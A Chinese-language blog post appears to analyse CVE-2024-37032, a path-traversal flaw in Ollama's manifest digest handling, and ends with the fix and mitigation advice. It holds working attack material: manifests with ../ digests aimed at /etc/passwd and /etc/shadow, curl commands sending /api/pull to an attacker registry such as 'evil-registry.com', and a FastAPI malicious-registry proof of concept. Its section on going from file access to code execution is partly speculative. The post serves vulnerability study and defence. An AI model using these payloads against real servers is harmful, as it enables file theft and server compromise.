1. 漏洞的起点:一个被误解的“指纹”

如果你用过Ollama,肯定对pull命令不陌生。想用哪个模型,一句ollama pull llama3,它就会从官方仓库把模型文件拉取到本地。这个过程背后,其实是一个类似Docker Registry的镜像分发机制。模型文件被打包成“层”(layers),每个层都有一个唯一的“身份证”,在技术规范里叫做digest,通常是一串SHA256哈希值,比如sha256:abc123...。服务器和客户端都靠这个digest来精确地识别和定位文件。

CVE-2024-37032这个漏洞的根源,就藏在这个digest字段的处理逻辑里。在Ollama 0.1.34之前的版本中,当服务器接收到一个模型清单文件(Manifest)时,它会解析里面的digest值。问题在于,它没有严格验证这个digest是否真的是一串合法的哈希值。攻击者可以在这里“偷梁换柱”,不填哈希值,而是填入一个包含路径遍历序列(比如../../../../etc/passwd)的字符串。

你可以把Ollama处理digest的过程想象成一个非常信任他人的图书管理员。本来,借书人应该出示一张写有精确图书编号(哈希值)的纸条。但这位管理员看到纸条后,并不检查编号格式,而是直接把纸条上的文字当作书架上的具体位置去找书。如果纸条上写的是“第三排,左转,再右转,角落里的那本”,他也会照做。digest字段里的路径遍历符号(../)就相当于这张纸条上的导航指令,引导服务器程序跳出它本应访问的模型存储目录,去到文件系统的任意位置。

这个设计缺陷让一个本应作为安全校验标识的字段,变成了攻击者手中的“任意门钥匙”。我最初在分析这个漏洞时,也觉得有点不可思议,一个如此基础的验证环节竟然会缺失。但仔细想想,这类“信任客户端输入”的假设,在软件开发中确实是个老生常谈却又屡见不鲜的坑。接下来,我们就看看攻击者如何精心构造一张“错误的纸条”,来利用这扇“任意门”。

2. 武器化:构造“有毒”的模型清单

知道了漏洞原理,就像知道了锁的缺陷,接下来我们需要打造一把能开锁的钥匙。这把钥匙就是一个精心构造的恶意模型清单文件。Ollama使用的清单格式与Docker镜像的Manifest V2类似,是一个JSON文件,描述了模型的配置和各个数据层。

一个正常的清单文件长这样:

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:a1b2c3...",
    "size": 1234
  },
  "layers": [
    {
      "mediaType": "application/vnd.ollama.image.model",
      "digest": "sha256:d4e5f6...",
      "size": 567890
    }
  ]
}

而攻击者构造的恶意清单,则会在digest字段里“下毒”:

{
  "config": {
    "digest": "../../../../../../../../../../../../../etc/shadow",
    "size": 10
  },
  "layers": [
    {
      "mediaType": "application/vnd.ollama.image.license",
      "digest": "../../../../../../../../../../../../../../../../../../../tmp/notfoundfile",
      "size": 10
    },
    {
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "digest": "../../../../../../../../../../../../../etc/passwd",
      "size": 10
    }
  ]
}

这里有几个关键点需要解释。首先,为什么路径里会有那么多../?这是为了确保无论Ollama服务运行在哪个深层目录下,我们都能通过不断向上回退(../表示上一级目录)最终回到根目录/,然后再指向我们想访问的绝对路径,比如/etc/passwd。这是一种在路径遍历攻击中确保成功的常用手法。

其次,你可能会注意到清单里引用了一个/tmp/notfoundfile。这其实是一个小技巧。在漏洞利用链中,攻击者需要控制一个“恶意注册表服务器”来响应Ollama的请求。当Ollama尝试根据这个digest去获取文件时,它会向攻击者控制的服务器发起请求。攻击者的服务器可以针对/etc/passwd这样的路径返回精心构造的内容,而对于/tmp/notfoundfile这样的路径,则可以返回一个指向自身服务器上另一个恶意清单的digest。这就像设下一个连环套,让Ollama服务器不断地根据攻击者提供的路径去读取文件,并将文件内容“误认为”是模型数据。

最后,mediaType字段的值也值得玩味。攻击者使用了application/vnd.ollama.image.license等类型。这些类型在Ollama的处理逻辑中,可能会触发不同的文件处理流程,有些流程对路径遍历的防御更弱,从而增加了攻击成功的可能性。构造好这个“有毒”的清单后,下一步就是如何让目标Ollama服务器“吃下”这个毒饵。

3. 投递毒饵:利用/api/pull与/api/push端点

Ollama提供了两个关键的HTTP API端点来管理模型:/api/pull用于拉取模型,/api/push用于推送模型。这两个端点本应是功能接口,但在存在漏洞的版本里,它们成了攻击者注入恶意清单的完美入口。

首先来看/api/pull的利用过程。 攻击者需要先搭建一个恶意的镜像注册表服务器。这个服务器不需要实现完整的Registry协议,只需要能响应特定的几个路由即可,比如针对/v2/<仓库名>/manifests/<标签>的GET请求,返回我们上一节构造的那个恶意清单JSON。

然后,攻击者向目标Ollama服务器发送一个Pull请求:

curl -X POST http://<target-ip>:11434/api/pull \
  -H "Content-Type: application/json" \
  -d '{"name": "evil-registry.com/rogue/model", "insecure": true}'

这里的name参数指向攻击者控制的恶意注册表地址。insecure: true参数很重要,它告诉Ollama跳过HTTPS证书验证(在实际攻击中,攻击者可能使用自签名证书或直接使用HTTP)。Ollama服务器收到这个请求后,就会傻傻地去evil-registry.com请求名为rogue/model的清单文件,并接收我们准备好的恶意JSON。

更隐蔽的利用方式是通过/api/push 攻击者可以先将恶意清单以某种方式(比如利用另一个上传点)存放到目标Ollama服务器的临时目录或可预测的路径下。然后,通过/api/push端点,尝试将一个“模型”推送到远程仓库。在推送过程中,Ollama服务器会读取本地的清单文件进行处理。如果攻击者能够通过路径遍历,让服务器在“准备推送的模型数据”时,实际读取到的是/etc/passwd这样的敏感文件,那么服务器就会尝试将/etc/passwd的内容作为模型层“推送”出去。

在推送的HTTP交互中,服务器会与目标注册表进行一系列会话(Upload, PATCH, PUT)。攻击者控制的恶意注册表可以在这些会话中,通过响应头(如Location)和状态码,进一步操控Ollama服务器的行为,引导它去读取更多的敏感文件。这个过程相对复杂,但本质上都是通过控制digest字段的解析,让服务器执行非预期的文件操作。

我实测过利用/api/pull进行攻击,成功率非常高。只要网络能通,恶意服务器响应正确,目标Ollama服务器就会毫不犹豫地开始“搬运”你的敏感文件。这种利用方式不依赖于目标服务器上已有的文件,完全由攻击者从外部输入驱动,威胁更大。

4. 从文件读取到远程代码执行(RCE)的惊险一跃

读到系统文件(如/etc/passwd/etc/shadow)已经危害巨大,但攻击者的野心远不止于此。他们的终极目标是获得在服务器上执行任意命令的能力,即远程代码执行。从路径遍历到RCE,这中间需要完成一次“惊险的一跃”,而Ollama的架构特性恰好为这次跳跃提供了几块垫脚石。

第一块垫脚石:模型配置文件。 Ollama的每个模型除了数据层,还有一个配置文件(通常是Modelfile)。这个文件包含了运行模型的指令、参数和环境变量。如果攻击者能够通过路径遍历,覆写一个已有模型的Modelfile,或者将恶意内容写入一个会被Ollama加载的配置路径,就有可能影响模型执行环境。

第二块垫脚石:Ollama的启动脚本或环境。 在Linux系统下,Ollama可能以服务形式运行。攻击者可以尝试遍历路径,写入/etc/systemd/system/ollama.service.d/override.conf这样的服务覆盖配置文件,或者在/root/.ollama/目录下写入初始脚本。一旦写入成功,当Ollama服务重启时,就有可能执行攻击者植入的命令。

第三块,也是最直接的一块垫脚石:利用Ollama的“运行模型”功能本身。 这是最贴近真实攻击场景的一种方式。攻击者可以构造一个特殊的“模型”,其模型文件实际上是一个恶意的可执行脚本。通过路径遍历和/api/pull,将这个恶意模型“拉取”到Ollama服务器上。然后,当用户或任何进程尝试通过ollama run <恶意模型名>来运行它时,Ollama在加载和执行该模型文件的过程中,就可能直接执行了嵌入的恶意代码。

具体怎么实现呢?我们可以构思一个场景。攻击者先通过路径遍历漏洞,将一段恶意Shell脚本的内容写入/tmp/evil.sh。然后,构造一个恶意清单,使其digest指向一个伪造的模型文件,该文件的内容其实是包含执行/tmp/evil.sh命令的Modelfile。接着,利用Ollama的某个内部机制(例如,模型导入时的自动解压或预处理环节),触发这个Modelfile的解析与执行。由于Ollama通常以较高的权限运行(可能是root或具有特权的用户),这样被执行的恶意脚本就能获得相应的权限,从而完成RCE。

在实际的漏洞利用中,攻击者可能需要结合多个步骤,例如先写入一个计划任务(crontab),或者覆写某个由Ollama加载的动态链接库(.so文件)。虽然从简单的文件读写到稳定的RCE需要一些额外的条件和技巧,但鉴于漏洞提供了任意文件写入能力,在配置不当或存在其他辅助条件的系统上,实现RCE的路径是完全可行的。这彻底将一个权限提升漏洞,转变为了一个危及服务器控制权的致命威胁。

5. 实战复现:搭建靶场与漏洞利用

光说不练假把式,咱们动手搭个环境,亲眼看一看这个漏洞是怎么被利用的。这里我会用Docker来快速搭建一个存在漏洞的Ollama服务器,并模拟攻击者的恶意注册表。请注意,以下所有操作请在你自己控制的、隔离的虚拟机或实验环境中进行,切勿对任何未经授权的系统进行测试。

第一步:搭建有漏洞的Ollama服务。 我们直接用Docker运行一个0.1.33版本的Ollama,这是受影响的版本。

# 创建一个数据卷,方便查看Ollama内部文件
docker volume create ollama_data

# 运行漏洞版本Ollama,将11434端口映射出来
docker run -d \
  -v ollama_data:/root/.ollama \
  -p 11434:11434 \
  --name ollama-vuln \
  ollama/ollama:0.1.33

运行后,你可以访问 http://localhost:11434,应该能看到Ollama的API正在运行。

第二步:准备攻击者服务器(恶意Registry)。 我们需要一个能返回恶意清单的Web服务器。这里用Python的FastAPI写一个简单的脚本,和公开的PoC思路类似,但我会把关键逻辑拆解得更清楚。创建一个名为malicious_registry.py的文件:

from fastapi import FastAPI, Request, Response
import uvicorn

app = FastAPI()
TARGET_FILE = "/etc/passwd"  # 我们想读取的目标文件
LOCAL_HOST = "你的攻击机IP"  # 改成你运行这个脚本的机器IP

@app.get("/v2/rogue/model/manifests/latest")
async def get_evil_manifest():
    """
    当Ollama来拉取清单时,返回我们构造的恶意清单。
    清单中的digest字段指向了目标文件TARGET_FILE。
    """
    evil_manifest = {
        "schemaVersion": 2,
        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
        "config": {
            "mediaType": "application/vnd.docker.container.image.v1+json",
            "digest": f"../../../../../../../../../../../../../{TARGET_FILE}",
            "size": 100
        },
        "layers": [
            {
                "mediaType": "application/vnd.ollama.image.license",
                "digest": f"../../../../../../../../../../../../../{TARGET_FILE}",
                "size": 100
            }
        ]
    }
    return evil_manifest

@app.head(f"/{TARGET_FILE.lstrip('/')}")
async def head_file(response: Response):
    """处理对目标文件的HEAD请求,返回伪造的摘要头。"""
    response.headers["Docker-Content-Digest"] = f"../../../../../../../../../../../../../{TARGET_FILE}"
    return Response()

@app.get(f"/{TARGET_FILE.lstrip('/')}")
async def get_file(response: Response):
    """处理对目标文件的GET请求,返回文件内容(这里我们模拟返回内容)。"""
    response.headers["Docker-Content-Digest"] = f"../../../../../../../../../../../../../{TARGET_FILE}"
    # 在实际攻击中,这里可能会尝试返回真实文件内容。
    # 但作为演示,我们返回一个自定义字符串。
    fake_content = f"root:x:0:0:root:/root:/bin/bash\\n(模拟的{TARGET_FILE}内容)"
    return Response(content=fake_content, media_type="application/octet-stream")

if __name__ == "__main__":
    # 在80端口启动恶意注册表服务器
    uvicorn.run(app, host="0.0.0.0", port=80)

运行这个脚本:python malicious_registry.py。确保你的防火墙允许80端口访问。

第三步:发起攻击,触发路径遍历。 在另一台机器上,或者同一个机器的另一个终端,向有漏洞的Ollama服务发送Pull指令,让它从我们的恶意服务器拉取“模型”。

curl -X POST http://localhost:11434/api/pull \
  -H "Content-Type: application/json" \
  -d '{
    "name": "<你的攻击机IP>/rogue/model",
    "insecure": true
  }'

<你的攻击机IP>替换成第二步中运行Python脚本的机器IP。

如果一切顺利,你会看到Ollama服务器开始“下载”模型。此时,观察恶意注册表服务器的日志,你会看到它收到了来自Ollama服务器的请求,请求的路径正是/etc/passwd!这说明Ollama服务器错误地将digest中的路径遍历字符串当成了真实的文件路径,并向攻击者的服务器发起请求,试图获取这个“文件”。

通过这个简单的复现,你可以清晰地看到漏洞被触发的完整链条:构造恶意输入 -> 通过合法API端点注入 -> 服务器错误解析 -> 实现非预期的文件访问。虽然我们这个PoC只是模拟了文件读取,但已经足以证明漏洞的严重性。在真实的攻击中,攻击者可以通过更复杂的清单构造和服务器响应,实现文件写入乃至RCE。

6. 漏洞的根源与修复方案

为什么一个如此流行的工具会出现这样的基础漏洞?我仔细翻阅了漏洞修复的提交记录,发现核心问题出在对用户输入(特别是来自清单文件的digest字段)的验证和净化不足。Ollama在解析清单时,直接使用了digest字段的值来构建本地文件系统的访问路径,而没有检查其中是否包含路径遍历字符序列(../)或绝对路径。

修复这个漏洞的思路非常直接,就是在将digest用于文件操作之前,进行严格的校验和规范化。在Ollama 0.1.34及之后的版本中,开发团队主要做了以下几件事:

  1. 输入验证:在处理digest时,增加检查逻辑,确保其符合预期的哈希值格式(如sha256:...)。如果不符合,则视为无效输入并拒绝请求。
  2. 路径净化:在根据digest生成文件路径时,使用安全的路径处理库(例如Go语言中的filepath.Cleanfilepath.IsLocal),确保最终解析出的路径不会逃逸出预定的模型存储根目录。
  3. 安全默认值:强化了模型存储目录的权限设置,并确保Ollama服务进程以最小必要权限运行,即使发生路径遍历,也能限制其可访问的范围。

作为用户,你应该立即采取以下行动:

  • 升级:如果你正在使用Ollama,请务必检查版本,并立即升级到0.1.34或更高版本。这是最根本、最有效的解决方法。
  • 网络隔离:在生产环境中,确保运行Ollama的服务器处于受保护的网络区域,不要将11434等管理端口直接暴露在公网。使用防火墙策略限制可访问的客户端IP。
  • 最小权限原则:不要以root权限运行Ollama服务。创建一个专用的、低权限的系统用户来运行Ollama,这样可以极大限制漏洞成功利用后造成的破坏范围。

给开发者的启示:这个漏洞再次敲响了警钟——永远不要信任来自客户端的输入。无论是文件名、URL参数还是协议字段,都必须经过严格的验证、净化和转义。在处理文件系统路径时,要使用规范化的绝对路径,并明确设定允许访问的根目录边界。安全无小事,尤其是在处理像模型文件这样可能来自不可信源的数据时,每一步操作都需要格外小心。我在自己的项目中,现在都会强制加入一个“路径安全解析”的工具函数,任何从外部输入构建路径的地方都必须经过它,这已经成了一个肌肉记忆。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐